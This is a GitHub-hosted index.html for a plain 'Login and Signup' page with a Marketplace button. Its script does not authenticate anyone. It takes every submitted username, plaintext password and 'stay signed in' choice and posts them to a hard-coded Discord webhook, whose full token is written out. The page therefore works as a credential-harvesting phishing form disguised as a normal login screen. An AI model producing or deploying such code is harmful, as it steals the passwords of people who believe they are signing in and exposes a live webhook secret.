-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
143 lines (121 loc) · 3.48 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login and Signup</title>
<style>
/* CSS styles */
body {
font-family: Arial, sans-serif;
margin: 0;
}
.header {
background-color: #000;
color: #fff;
padding: 20px;
text-align: center;
}
.header h1 {
margin: 0;
color: #fff;
}
.container {
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
height: 100vh;
}
.button-container {
display: flex;
justify-content: center;
margin-top: 20px;
}
.button-container button {
margin: 10px;
padding: 8px 12px;
color: #fff;
background-color: #000;
border: none;
cursor: pointer;
font-size: 16px;
}
.button-container button:hover {
opacity: 0.8;
}
</style>
</head>
<body>
<div class="header">
<h1>MAIN</h1>
</div>
<div class="container">
<div class="button-container">
<button onclick="openPopup('loginPopup')">Login</button>
<button onclick="openPopup('signupPopup')">Signup</button>
</div>
<div class="button-container">
<button onclick="goToMarketplace()">Marketplace</button>
</div>
</div>
<div id="loginPopup" class="popup">
<!-- Login popup code -->
<h2>Login</h2>
<form onsubmit="submitForm(event, 'login')">
<input type="text" placeholder="Username" name="username" required><br>
<input type="password" placeholder="Password" name="password" required><br>
<label>
<input type="checkbox" name="staySignedIn"> Stay signed in
</label><br>
<button type="submit">Login</button>
</form>
</div>
<div id="signupPopup" class="popup">
<!-- Signup popup code -->
<h2>Signup</h2>
<form onsubmit="submitForm(event, 'signup')">
<input type="text" placeholder="Username" name="username" required><br>
<input type="password" placeholder="Password" name="password" required><br>
<button type="submit">Signup</button>
</form>
</div>
<script>
function openPopup(popupId) {
document.getElementById(popupId).style.display = "block";
}
function closePopup(popupId) {
document.getElementById(popupId).style.display = "none";
}
function submitForm(event, type) {
event.preventDefault();
const form = event.target;
const username = form.username.value;
const password = form.password.value;
const staySignedIn = form.staySignedIn.checked;
const payload = {
type,
username,
password,
staySignedIn,
};
// Send the payload to the Discord webhook
sendPayloadToDiscordWebhook(payload);
// Close the popup
closePopup(`${type}Popup`);
}
function goToMarketplace() {
window.location.href = "https://anotha1.github.io/marketplace.html";
}
function sendPayloadToDiscordWebhook(payload) {
const webhookUrl = "https://discord.com/api/webhooks/1114747356055879781/7fH1tMXA2cJ8neQ3o4pMsZfnJwqAsBFt3xHOIcjHzrs3JZrJ5Fnun5zHluFw3bR5k60B";
// Construct the HTTP request
const request = new XMLHttpRequest();
request.open("POST", webhookUrl, true);
request.setRequestHeader("Content-Type", "application/json");
// Send the payload as JSON
request.send(JSON.stringify(payload));
}
</script>
</body>
</html>